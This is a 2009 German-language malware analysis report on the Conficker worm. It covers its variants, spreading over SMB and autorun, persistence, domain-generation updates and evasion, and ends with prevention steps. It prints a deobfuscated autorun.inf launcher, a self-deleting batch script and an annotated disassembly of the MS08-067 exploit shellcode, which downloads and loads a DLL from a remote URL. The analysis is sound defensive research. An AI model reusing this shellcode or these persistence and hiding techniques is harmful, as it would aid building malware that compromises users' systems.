Conficker - Info-Point

Transcription

Conficker - Info-Point
Conficker
Datum der Erstellung: 01.04.2009
Autor: Peter Kleissner
Co-Autor: Georg Kremsner
Das nachfolgende Dokument beinhaltet eine Beschreibung des Conficker Wurms. Dieser
Wurm ist Ende 2008 aufgetreten und hält Experten und Forscher bis heute beschäftigt.
Sämtliche Informationen beziehen sich auf den Stand März 2009.
Kurzbeschreibung
Name:
Alias-Namen:
Varianten:
Erstes Auftreten:
Ausgenutzter Exploit:
Verbreitung:
Conficker
Downup, Downadup, Kido
A, B, B++, C
Mitte November 2008
MS08-067 (RPC Remote Code Execution Vulnerability)
Wechselmedien, Netzwerk-Freigaben, RPC-Exploit
Auftreten der verschiedenen Varianten
Oktober
2008
Conficker.A
November
2008
Erstmals
„In the Wild“
Dezember
2008
Jänner
2009
Conficker.B
Februar
2009
Conficker.
B++
März
2009
Conficker.C
Tabelle 1 Auftreten der Conficker Varianten
Die obige Tabelle zeigt das zeitlich verteilte Auftreten der bisher bekannten Varianten
des Conficker Wurms.
• Conficker.A: seit Oktober 2008 in Entwicklung
• Conficker.A: „in the Wild“ am 21. November 2008
• Conficker.B: „in the Wild“ am 31. Dezember 2008 entdeckt
• Conficker.B++: „in the Wild“am 16. Februar 2009
• Conficker.C: „in the Wild“am 6. März 2009
Beschreibung
Der Conficker Wurm nutzt ursprünglich eine Schwachstelle von Microsoft Windows aus,
die sich im Dienst „Microsoft Windows Server Service RPC Handling” befindet.
Features
•
automatische Verteilung in Netzwerken
•
•
•
automatisches Update durch einen Command & Control Server
Client und Serverdienste in einer Instanz
Deaktivierung des Windows Update Systems
Varianten
Nachfolgend werden die verschiedenen Varianten des Conficker Wurms näher
beschrieben, um auch ihre Unterschiede zu verdeutlichen.
Conficker.A
Bei der Ausführung erstellt Conficker.A eine Kopie seiner selbst in:
%System%\[autogen. Dateiname].dll
%System% ist eine Umgebungsvariable in Microsoft Windows Systemen und verweist
im Normalfall auf den Pfad
C:\Windows\System32
Der von Conficker.A automatisch generierte Dateiname basiert auf dem Namen des
infizierten Rechners.
Die Infektor-Datei wird aus folgendem Verzeichnis gelöscht. Im Fall des Starts von
einem Wechseldatenträger wird der Infektor nicht von diesem gelöscht. Dies dient der
Infektion neuer Zielrechner mit dem benutzten Wechseldatenträger mittels der AutostartFunktion.
.\RECYCLER\S-5-3-42-2819952290-8240758988-8793150053665\jwgkvsq.vmx
Autostart Funktionalität
Conficker.A erstellt den nachfolgend beschriebenen Dienst, um bei einem evtl. Neustart
des infizierten Rechners als Dienst wieder gestartet zu werden. Dadurch läuft der
Conficker Wurm als ein Service im Kontext des Service-Hosts (svchost.exe) unter
der Kategorie Network Services (netsvcs). „Dateiname“ steht für den vollen Pfad zur
Kopie von Conficker.A (wie oben beschrieben).
Service Name:
netsvcs
Geladen durch:
%System%\svchost.exe -k netsvcs
Einträge in die Registrierung:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SvcHost, netsvcs = [Originaldaten] and
[Dateiname]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\[Da
teiname]\Parameters\ServiceDll = [Dateiname]
Verteilung im Netzwerk
Der Wurm verbreitet sich, wie oben angegeben, auch über das Netzwerk. Dies geschieht
mit Hilfe von Windows Netzwerk-Freigaben (SMB Protokoll, Port 445). Hierbei wird
nach offenen Freigaben im Netzwerk gesucht. Sollte ein Rechner eine offene
Netzwerkfreigabe zur Verfügung stellen, wird die API Funktion NetUserEnum zum
Herausfinden von gültigen Benutzernamen auf dem Zielrechner verwendet. Diese
Benutzernamen werden mit Passwörtern aus einer vordefinierten Liste für LoginVersuche auf dem Zielrechner benutzt. Bei einer erfolgreichen Authentifizierung wird
eine Kopie von Conficker.A im Pfad
\\[Zielrechner]\ADMIN$\System32\[autogen. Dateiname]
angelegt. Die Umgebungsvariable ADMIN$ zeigt im Normalfall auf das Verzeichnis
C:\WINDOWS\
Nach dem erfolgreichen Verteilen von Conficker.A muss dieser auf dem Zielrechner
installiert werden. Dies geschieht durch das erstmalige Ausführen eines zuvor angelegten
geplanten Tasks. Dieser Task ruft folgendes Kommando auf:
rundll32.exe [autogen. Dateiname], [Zufällige Buchstaben]
Dadurch wird Conficker.A auf dem Zielrechner ausgeführt, installiert und die Infektion
eines neuen Zielrechners war dadurch erfolgreich.
Conficker.A baut Verbindungen zu folgenden URLs auf, um Informationen über den
eben infizierten Rechner zu erhalten:
www.getmyip.org
getmyip.co.uk
checkip.dyndns.org
Die ermittelte externe IP Adresse des infizierten Rechners dient dazu eine auf den
Rechnerstandort angepasste Version von AntiVirus XP (ein Fake-AntiVirus Programm)
herunterzuladen. Darüber hinaus kann Information über die IP Adresse des infizierten
Rechners zu weiteren Zwecken verwendet werden.
Abschließend wird für weitere Kommunikationsmöglichkeiten ein Webserver (HTTP)
auf einem zufällig ausgewählten Port gestartet.
Automatische Updates
Der Wurm Conficker.A bietet die Funktion von automatischen Updates. Diese Updates
werden von Domains heruntergeladen, deren URLs vom Wurm errechnet werden.
Für diesen Algorithmus wird von einer zufällig ausgewählten URL das aktuelle Datum
abgefragt. Nachfolgend die Liste der möglichen URLs für die Datumsabfrage:
ask.com
baidu.com
google.com
w3.org
yahoo.com
msn.com
Die Liste der Domains, von denen Updates bezogen werden können wird mit Hilfe des
abgefragten Datums errechnet. Für Conficker.A bestehen 250 verschiedene Domains in
der tagesaktuellen Liste. Für ein erfolgreiches Update aller mit Conficker.A infizierten
Rechner ist lediglich die Registrierung einer einzigen Domain für einen speziellen Tag
nötig. Die Masse an möglichen Domains erschwert es diese zu finden und vom Netz zu
nehmen.
Binärdateien, die bei einem Conficker Update verteilt werden, sind digital signiert und
mit dem Algorithmus RC4 verschlüsselt. Das Update wird bei einem fehlgeschlagenen
Signatur- oder Integritätscheck sofort verworfen und gar nicht entschlüsselt. Es bestehen
8 verschiedene (hard-coded) Schlüssel zum Entschlüsseln im Code von Conficker.A.
Unabhängig von Updates des Wurms wird bei einem Update eine lokalisierte Version der
Fake-Anti-Viren-Software AntiVirusXP installiert.
Autorun
Der Conficker Wurm benutzt auch die Autorun-Funktionalität von Windows
Betriebssystemen, um sich zu verbreiten. Hierfür wird die Datei
Autorun.inf
im Root-Verzeichnis von Wechseldatenträgern und Netzwerk-Freigaben benutzt. Diese
Datei enthält viel verwirrende Daten, die auf den ersten Blick wie Binärdaten aussehen.
Eine genauere Analyse ergibt, dass viele Kommentarzeichen und Kontrollstrukturen
enthalten sind, die den endgültig ausgeführten Code modifizieren.
Dies ist eine sehr effektive Methode der Verbreitung, vor allem in großen
Betriebsnetzwerken, wie Berichte ergeben haben.
Ein in den Labors von IKARUS entwickelter Deobfuscator ermöglichte es folgenden
Inhalt zu entschlüsseln:
[AUTorUN]
icon=%syStEmrOot%\sySTEM32\sHELL32.Dll,4
shelLExECUte=RuNdLl32.EXE.\RECYCLER\S-5-3-42-28199522908240758988-879315005-3665\jwgkvsq.vmx,ahaezedrn
useAuTopLAY=1
Mit diesem Kommando wird Conficker durch die Autorun-Funktionalität von Windows
Betriebssystemen geladen. Wie oben nachzulesen ist, funktioniert die Ausführung von
Conficker durch einen geplanten Task gleich.
Starten von Conficker
Der Conficker Wurm ist eigentlich eine dynamische Programmbibliothek (DLL), was
eine Ausführung ähnlich eines Programms verhindert. Für eine DLL wird ein
Ladeprogramm benötigt, sodass der darin enthaltene Code ausgeführt werden kann. Im
Fall von Conficker dient hierzu
rundll32.exe <DLL>,<Funktionsname>
Im Fall von Conficker.A wird folgende Kommandozeile benutzt
rundll32.exe jwgkvsq.vmx,ahaezedrn
Mit Hilfe des Programms rundll32.exe kann eine DLL geladen und die nach dem
Beistrich definierte Funktion ausgeführt werden. Im Fall des Conficker Wurms ist der
zufällig angegebene Funktionsname immer ungültig, da die Conficker-DLL keine
Funktionen exportiert (nach außen zur Verfügung stellt). Unabhängig davon wird die
DLL des Conficker Wurms in den Speicher geladen und DLLMain aufgerufen. Dies ist
der Einsprungpunkt für dynamische Programmbibliotheken. Dadurch wird Conficker.A
ausgeführt und der Wurm installiert.
Zur Sicherstellung, dass sich nicht mehrere gleichzeitig laufende Instanzen von
Conficker.A gegenseitig behindern, wird ein globaler Mutex mit dem Namen
“Global\m-7” registriert, der bei jedem Conficker Start überprüft wird. Sollte dieser
belegt sein, bricht der Ladevorgang der neuen Instanz ab.
Verstecken von Conficker.A
Conficker.A setzt für die Kopie seiner selbst die Dateiattribute auf „Versteckt“ und
„Systemdatei“ (dies gelingt unter anderem mit dem Befehl attrib <filename> +H
+S). Danach deaktiviert der Wurm die Explorer-Einstellungen für „Anzeige von
versteckten und Systemdateien“. Diese Option ist auf einem infizierten Rechner nicht
mehr aktivierbar, da Conficker mit einer Registryeinstellung diese Option versteckt.
Abschließend wird vom Autostart-Service mit Hilfe eines „System Handle“ die lokale
Conficker.A-Kopie vor Zugriff geschützt. Hierfür wird die Funktion CreateFile
benutzt, bei deren Aufruf ein Flag gegen gemeinsamen Zugriff gesetzt wird. Dies
verhindert, dass Antiviren-Software auf die Datei zugreifen und sie scannen kann. Dies
wird von Conficker.A dadurch erreicht, dass der Wurm im Kontext von svchost.exe
läuft. Dadurch ergeben sich für den Wurm Systemrechte, wie sie auch Kernkomponenten
des Windows Betriebssystems erhalten.
Conficker.B
Die B-Variante des Conficker Wurms bietet erweiterte und verbesserte Funktionalität des
Wurms. Sämtliche nicht erwähnte Funktionalität ist im Vergleich zu Conficker.A
unverändert in Conficker.B enthalten. Nachfolgend die wesentlichen Neuerungen von
Conficker.B:
• Hooking von Windows API Funktionen
• Beenden von Virenschutz
• Erweiterte Anti-Debugging Techniken
• Andere Webseiten zum Eroieren der IP Adresse
• Andere Konstanten beim Errechnen der Domain Namen für Updates
• Anderer String für den globalen Mutex
•
Stärkere Verschlüsselung der heruntergeladenen Binärdateien und mehr Schlüssel
zum Entschlüsseln
Verteilung im Netzwerk
Conficker.B verwendet andere Webseiten zum Herausfinden der öffentlichen IP Adresse
des infizierten Rechners, als Conficker.A:
www.getmyip.org
www.whatsmyipaddress.com
www.whatismyip.org
checkip.dyndns.org
Automatische Updates
Der Algorithmus zur Generierung von Domain Namen benutzt andere einkompilierte
Konstanten. Das führt zu unterschiedlichen Ergebnissen, obwohl der Algorithmus an sich
nicht verändert wurde.
Im Gegensatz zu Conficker.A lädt Conficker.B keine Fake-Antiviren-Software herunter.
Zusätzliches Netzwerkverhalten
Darüber hinaus wurde in Analysen des Netzwerkverkehrs folgende Auffälligkeiten
festgestellt. Das nachfolgende SSDP (Simple Service Discovery Protocol) Paket wird in
das Netzwerk ausgesendet:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
MAN: "ssdp:discover"
MX: 3
Wireshark fragment:
2 2.672815 192.168.150.128 239.255.255.250 SSDP M-SEARCH *
HTTP/1.1
Im Header-Feld ST (Service Type) wurden folgende Inhalte beobachtet:
ST:urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n
ST:upnp:rootdevice\r\n
ST:urn:schemas-upnp-org:device:MediaRenderer:1\r\n
Das SSDP ist ein veralteter Entwurf der Firmen Microsoft und HP. Es dient heutzutage
als Basis für das UPNP (Universal Plug aNd Play Protocol). Diese Kommunikation dient
wahrscheinlich dem Finden von Wegen aus dem Netzwerk.
Verstecken von Conficker.B
Conficker.B injiziert sich selbst in folgende Prozesse, um sich im System zu verteilen
und dadurch schwerer entfernbar zu sein:
•
services.exe
•
svchost.exe
•
explorer.exe
Darüber hinaus werden folgende Dienste von Windows deaktiviert, um einer Erkennung
und Entfernung vom System zu entgehen:
• Windows Firewall
• Windows Update
Conficker.B++
Die Sub-Variante Conficker.B++ stellt ein kleines Update zur Version Conficker.B dar.
In diesem Abschnitt gilt wiederum, dass sämtliche Funktionalität der Vorgängerversion
übernommen wurde und nur Unterschiede aufgezeigt werden.
Verteilung im Netzwerk
Die
ursprünglich
durch
ihre
Schwachstelle
ausgenutzte
Funktion
in
netapi32.dll!NetpwPathCanonicalize wird gepatcht. Dieser Patch stellt
sicher, dass eine Re-Infektion nach einer Säuberung möglich ist. Der fehlerhafte Code
wird in einem evtl. bereits gepatchten System wieder eingebracht.
Automatische Updates
Die Generierung der Domain Namen zum Nachladen von Updates wurde erweitert. Nun
wird beim fehlgeschlagenen Versuch eine Domain zu erreichen .localdomain an die
generierte Domain angehängt. Daraus ergibt sich eine Anzahl von maximal 500
unterschiedlichen Domainnamen, die täglich generiert werden können.
Mit der Version Conficker.B++ können EXE Dateien empfangen und ausgeführt werden.
Dies wird durch die Kommunikation über Pipes erreicht (CreateNamedPipe API),
die fortan zum Updaten benutzt wird.
Conficker.C
Die C-Variante des Conficker-Wurms ist der letzte bekannte große Sprung in der
Evolution des Wurms. Hierbei wurde wiederum die Grundfunktionalität von den
Vorgängerversionen übernommen. Nachfolgend werden deshalb die wichtigsten
Änderungen aufgezeigt:
• Conficker.C versteckt sich nicht in explorer.exe
• Jetzt auch als EXE und nicht nur als DLL verfügbar („In the Wild“ wurde ein
Sample gefunden/entschlüsselt/deobfuscated/analysiert und an Forscher verteilt)
• 2ter Domain Name Algorithmus integriert mit 50000 möglichen Domains pro Tag
• Nutzung anderer kryptographischer Algorithmen
• Windows Defender wird deaktiviert (BITS wird entfernt)
• netsvcs.exe und explorer.exe werden für Autostart verwendet
• DLL wird nicht mehr nur in %System% kopiert
• Anti-Debugging Tricks (beendet Reverse Engineering Tools)
• VMWare Detektion (lässt sich nicht debuggen)
Automatische Updates
Conficker.B wird automatisch zu Conficker.C upgedatet. Mit 1. April 2009 tritt der 2.
erwähnte Domain Name Algorithmus in Kraft. Das bedeutet, dass täglich 50000 anstatt
250 (oder 500) Update Domains generiert werden. Dies erschwert ein Aufspüren und
vom Netz nehmen der Update-Server von Conficker noch weiter.
Zusätzlich wurde ein Peer-to-Peer Client, der ebenfalls als Service gestartet wird,
integriert. Auch dieser startet ab dem 1. April 2009.
Conficker.C hat eine neue Technik, um die aktuelle Zeit zu erfahren. Hierfür werden
HTTP Anfragen an verschiedene Homepages (adobe.com, youtube.com, ...) geschickt.
Aus dem Header der Antwort wird die aktuelle Systemzeit des abgefragten Servers
ausgelesen. Weiters wird die lokale Systemzeit auf den 1. April 2009 geprüft.
Starten von Conficker
Conficker.C beweist Abwärtskompatibilität, indem bei einem Start von Conficker.C die
möglichen Mutexe älterer Versionen überprüft werden. Sollte einer vorhanden sein, wird
die laufende Conficker-Instanz auf Conficker.C upgedatet.
Verstecken von Conficker.C
Vorangegangene Conficker-Varianten haben bereits Domains von Unternehmen aus der
IT-Security-Branche geblockt. Conficker.C blockt diese jetzt generischer mit Hilfe einer
Liste von Filterkriterien. Diese Liste umfasst nun die Namen und trifft somit auf mehr
Domains zu, als bei vorangegangenen Conficker-Varianten.
Conficker mit Ablaufdatum
Es wurde von einer Conficker.C Variante berichtet, die am 17. März 2009 veröffentlicht
wurde und am 19. März 2009 wieder verschwand. Diese Variante überprüfte ihr eigenes
Ablaufdatum und stellt höchstwahrscheinlich eine Testversion für Tests „in the Wild“
dar. Dieses Vorgehen wurde auch von anderen Forschern bestätigt.
VMWare Erkennung
Die VMWare Erkennung von Conficker.C ist bis jetzt undokumentiert, jedoch wurde bei
unserer Analyse festgestellt, dass Conficker.B und Conficker.C eine Erkennung der
Ausführung innerhalb einer virtuellen Maschine beinhalten. Wenn eine VMWare von
Conficker erkannt wird, werden zwar Dateien versteckt und andere PCs im Netzwerk
infiziert. Es findet jedoch kein Verbindungsaufbau ins Internet statt. Dies schützt diese
Funktionalität des Wurms vor trivialer Erkennung. Weiters wird dadurch das Aufspüren
von Conficker Updateservern und mitlesen von Updatevorgängen erschwert, weil pro
getesteter Conficker-Instanz eine eigene physikalische Maschine notwendig wird.
Analyse von Conficker.C
Hier sind Disassembly-Screenshots zu sehen, die ein Script zu Anfang der Ausführung
von Conficker zeigen. Dieses wurde in keiner der uns verfügbaren Analysen anderer
Forscher erwähnt. Leider fehlte uns auch die Zeit für eine Analyse.
Während einer kurzen Analyse gab es folgende Auffälligkeiten:
• Conficker
läuft
ausschließlich ab Windows
2000 (Check auf MajorVersion 5)
• Das Script am Anfang stellt
eine gute Signatur für
Antivirenprodukte dar.
Conficker Batch Skript
Das nachfolgende Batch Skript wird von Conficker dazu benutzt die Infektor-DLL zu
löschen (wie oben beschrieben).
@ECHO OFF
:REP
DEL %1
IF EXIST %1 GOTO REP
DEL %0
Die Ausführung dieses Skripts wird durch folgendes Kommando erreicht:
CMD /C ""C:\Users\<user>\AppData\Local\Temp\306132684.cmd"
"C:\Users\<user>\Desktop\09u.tmp""
Der Aufruf von cmd /c bewirkt, dass das Skript ausgeführt und danach sofort wieder
beendet wird.
Das obige Kommando wird beim Start von Conficker aufgerufen (zum Zeitpunkt von
createProcess) sobald die lokale Kopie von Conficker angelegt wird (MoveFile)
als Parameter aufgerufen.
Conficker Shellcode
Der nachfolgende Shellcode wird über das Netzwerk zum Ausnutzen, der in MS08-067
aufgezeigten, Schwachstelle verwendet. Der Shellcode ist im Wesentlichen ein DLLDownloader/-Dropper und legt eine Datei mit der Endung .x an, die danach ausgeführt
wird. Das ist der Initial-Infektor des Conficker-Wurms.
; Conficker Shellcode
; reverse engineering done by Peter Kleissner
; call -1 misaligned code trick (also used to get instruction pointer)
00000000 E8FFFFFFFF
call 4
; decrypt the Shellcode
00000004 FFC1
inc
-1 trick
00000006 5E
pop
eip, get it (will be later
00000007 8D4E10
lea
esi
; call instruction pushed the
used to access data)
ecx,[esi+0x10]
; ecx = byte position
Decrypt_Loop:
0000000A 8031C4
0000000D 41
0000000E 6681394550
00000013 75F5
[ecx],byte 0C4h
ecx
[ecx],word 5045h
Decrypt_Loop
xor
inc
cmp
jnz
ecx
; junk code resulting from call
; decrypt key = C4h
; next byte
; end marker
; following code is already decrypted to understand it
seg000:00000015
push 2
seg000:00000017
pop ecx
; ecx = 2 (obfuscation for
losers), +set count of imports to resolve for later
seg000:00000018
mov eax, fs:[ecx+2Eh]
; eax = Process Environment
Block Address (TIB + 30h)
seg000:0000001C
mov eax, [eax+0Ch]
; PEB_LDR_DATA
seg000:0000001F
mov eax, [eax+1Ch]
;
PEB_LDR_DATA.InInitializationOrderModuleList.LDR_DATA_TABLE_ENTRY/LDR_MODULE
(UNDOCUMENTED)
seg000:00000022
mov eax, [eax]
; double linked list (take
forward link to LDR_DATA_TABLE_ENTRY / LDR_MODULE structure)
seg000:00000024
mov ebx, [eax+8]
; DllBase (Module Base Address)
; resolve 2 imports
seg000:00000027
lea esi, [esi+9Ch]
; let esi point to data /
imports (offset 9Ch + 5)
Resolve_Imports_Loop:
seg000:0000002D
call Resolve_Import
seg000:00000032
push eax
; why not? (store function
address)
seg000:00000033
loop Resolve_Imports_Loop
; Kernel32!LoadLibraryA("urlmon.dll");
seg000:00000035
mov edi,esp
(LoadLibraryA function pointer)
seg000:00000037
push esi
seg000:00000038
call dword ptr [edi]
seg000:0000003A
xchg eax, ebx
; -> resolve import urlmon!URLDownloadToFileA
; edi points to top of stack
; esi points to "urlmon"
; LoadLibraryA("urlmon")
seg000:0000003B
"URLDownloadToFileA"
seg000:0000003E
add esi,7
; move esi to point to hash of
call Resolve_Import
; set stack for ExitThread
seg000:00000043
xor edx,edx
seg000:00000045
push edx
seg000:00000046
push edx
(unnecessary, junk)
; dwExitCode = 0
; zero termination for string
; store file name on stack
seg000:00000047
mov ecx,esp
; store target file name on
stack
seg000:00000049
mov word ptr [ecx], 2E78h
; ".x"
; prepare execution for file downloaded by LoadLibraryA
seg000:0000004E
push ecx
; lpFilename for LoadLibraryA
called by URLDownloadToFileA return (=> this is a dll dropper only)
seg000:0000004F
push dword ptr [edi+4]
; return to ExitThread from
LoadLibraryA
; urlmon!URLDownloadToFileA(NULL, "http://xxx.xx.xxx.xxx:4725/htoqqgf", ".x",
0, 0);
seg000:00000052
push edx
; bindstatuscallback = 0
seg000:00000053
push edx
; reserved = 0
seg000:00000054
push ecx
; szFilename = ".x"
seg000:00000055
push esi
; szURL = (http://..)
seg000:00000056
push edx
; pCaller = NULL
seg000:00000057
push dword ptr [edi]
; return to LoadLibraryA from
URLDownloadToFileA
seg000:00000059
jmp eax
; jump to URLDownloadToFileA
function
Resolve_Import:
; Input:
;
ebx = Module Base
;
esi = Import to resolve
; Output:
;
eax = function address
seg000:0000005B
lodsd
a dword further for next entry)
; junk code (will just move esi
; store ecx and esi (will be modified)
seg000:0000005C
push ecx
seg000:0000005D
push esi
seg000:0000005E
seg000:0000005F
Header/Stub)
seg000:00000062
seg000:00000066
seg000:00000068
Next_Function:
seg000:0000006A
in Name Table
seg000:0000006D
Pointer RVA
seg000:00000070
seg000:00000072
seg000:00000074
xchg eax,ebp
mov ecx, [ebx+3Ch]
; why not? (= junk code)
; -> PE Header (skip DOS
mov ecx, [ebx+ecx+78h]
add ecx, ebx
xor esi, esi
; -> Export Table
; (absolute address)
; will count function number
lea edx, [ebx+esi*4]
; Module Base + Function Offset
add edx, [ecx+20h]
; Export Directory Table.Name
mov edx,[edx]
add edx,ebx
xor eax,eax
; edx = Function Name Pointer
; (absolute address)
; initial value for hash
Generate_Hash_Next_Character:
seg000:00000076
rol eax,7
; hash generation algorithm
(hash = hash rotate left 7 ^ char)
seg000:00000079
xor al,[edx]
seg000:0000007B
inc edx
; next character
seg000:0000007C
cmp [edx],byte 0
; last character? (check zero
termination)
seg000:0000007F
jnz Generate_Hash_Next_Character
seg000:00000081
calculated
seg000:00000083
seg000:00000085
seg000:00000086
Directory Table.Number
seg000:00000089
cmp eax,ebp
jz Export_Found
inc esi
cmp esi,[ecx+24]
of Name Pointers
jb Next_Function
; compare to-find hash with
; next function
; compare against Export
; next function if available
; *** ERROR *** no error routine installed if export was not found
Export_Found:
seg000:0000008B
mov edx, [ecx+36]
; get ordinal number (via
Ordinal Table RVA)
seg000:0000008E
add edx, ebx
; (absolute address)
seg000:00000090
movzx edx, word ptr [edx+esi*2]
; look up the
ordinal number (which is word value)
seg000:00000094
mov eax, [ecx+1Ch]
; address of Export Address
Table RVA
seg000:00000097
add eax, ebx
; (absolute address)
seg000:00000099
mov eax, [eax+edx*4]
; get relative function address
seg000:0000009C
add eax, ebx
; => absolute function address,
return in eax
; restore registers & return
seg000:0000009E
pop esi
seg000:0000009F
pop ecx
seg000:000000A0
ret
Data_Start:
; hashes of 2 imports
seg000:000000A1
seg000:000000A5
dd 0768AA260h
dd 0C8AC8026h
; urlmon.dll and its URLDownloadToFileA export
seg000:000000A9
db "urlmon", 0
seg000:000000B0
dd 0D95D2399h
; hash of "ExitThread"
; hash of "LoadLibraryA"
; hash of "URLDownloadToFileA"
; download url - patched dynamically to current IP:port/url
seg000:000000B4
db "http://xxx.xx.xxx.xxx:4725/htoqqgf", 0
Ähnlichkeiten zu anderen Viren
Registryeinträge
Conficker verwendet folgenden Eintrag, um sicherzustellen, dass er als Service bei jedem
Systemstart gestartet wird:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SvcHost, netsvcs = [Originaldaten] and
[Dateiname]
Beim Sinowal-Wurm, der ebenfalls ein Bot ist, wurde ebenfalls folgender Eintrag
benutzt:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SvcHost\netsvcs
Beide Einträge in die Registry führen dazu, dass die Malware im Kontext der netsvcsGruppe im ServiceHost von Windows gestartet wird. Dadurch erreicht die Malware
Systemrechte.
Es gibt viele weitere Möglichkeiten der Sicherstellung einer dauerhaften Infektion mit
automatischen Start der Malware. Aufgrund dieser Ähnlichkeit scheint eine Verbindung
zwischen diesen beiden Würmern nicht ausgeschlossen.
Exploit-Code
Der Exploit für die im Oktober 2008 in MS08-067 diskutierte Schwachstelle ist in
Hacker-Kreisen verfügbar. Fertige Exploit-Kits wurden verbreitet und auch verkauft:
Feststellung der IP Adresse
Die Nutzung der folgenden Dienste zur Feststellung der IP Adresse des infizierten
Systems ist bereits von anderer Malware (vor allem Bots) bekannt. Die gleiche
Vorgehensweise lässt darauf schließen, dass bewährter Code ein weiteres Mal verwendet
wurde.
www.getmyip.org
getmyip.co.uk
checkip.dyndns.org
Vorbeugung / Abwehr einer Conficker-Infektion
Fünf Schritte zur Vermeidung einer "Conficker" - Infizierung
1. Patch KB958644 von Microsoft installieren (schließt die RPC-Schwachstelle aus
MS08-067)
2. Patch KB950582 von Microsoft installieren (wichtig zur Deaktivierung der
Autorun Funktion)
3. Autrun deaktivieren (mittels Registrierungsschlüssel)
4. Microsoft Removal Tool ausführen und den Computer scannen (findet und
entfernt den "Conficker" Wurm)
5. Virenschutz immer auf aktuellstem Stand halten (der IKARUS Virenscanner
findet Conficker in allen bekannten Varianten)
Generell wird empfohlen das System mit dem Microsoft Removal Tool (wird 14-tägig
upgedated) trotz eingespielter Patches zu scannen.